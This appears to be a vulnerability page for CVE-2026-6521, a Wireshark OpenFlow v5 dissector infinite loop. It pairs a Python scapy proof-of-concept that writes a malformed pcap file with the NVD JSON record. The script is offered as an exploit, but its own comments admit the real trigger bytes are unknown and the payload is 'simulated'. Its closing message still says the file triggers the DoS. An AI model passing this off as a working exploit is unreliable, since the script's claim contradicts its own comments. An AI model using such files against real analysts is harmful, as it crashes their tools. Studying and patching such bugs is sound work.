CVE-2026-6521

#!/usr/bin/env python3 """ PoC for CVE-2026-6521 (Wireshark OpenFlow v5 Infinite Loop) This script generates a pcap file with a malformed OpenFlow v5 packet. Usage: python3 poc.py and open the generated 'cve_2026_6521.pcap' in vulnerable Wireshark. """ from scapy.all import * # Construct a raw packet mimicking an OpenFlow v5 message # The specific bytes required to trigger the infinite loop are obfuscated # in the advisory, but this structure targets the OpenFlow dissector. # Ethernet Layer eth = Ether(dst="00:11:22:33:44:55", src="00:aa:bb:cc:dd:ee") # IP Layer ip = IP(src="192.168.1.100", dst="192.168.1.200") # TCP Layer (Standard OpenFlow port) tcp = TCP(sport=12345, dport=6653) # Malformed Payload (Simulated OpenFlow v5 Header) # Version: 0x05 (OpenFlow 1.3+ or newer experimental), Type: 0x00 # Length: Malformed to cause parsing issue payload = Raw(b'\x05\x00\xFF\xFF\x00\x00\x00\x01' + b'A' * 200) packet = eth / ip / tcp / payload # Save to pcap wrpcap('cve_2026_6521.pcap', packet) print("[+] PoC file generated: cve_2026_6521.pcap") print("[+] Open this file in Wireshark 4.6.0-4.6.4 or 4.4.0-4.4.14 to trigger the DoS.")

{"cve": {"id": "CVE-2026-6521", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:39.273", "lastModified": "2026-05-01T19:27:39.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenFlow v5 protocol dissector infinite loops in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21182", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21188", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-39.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}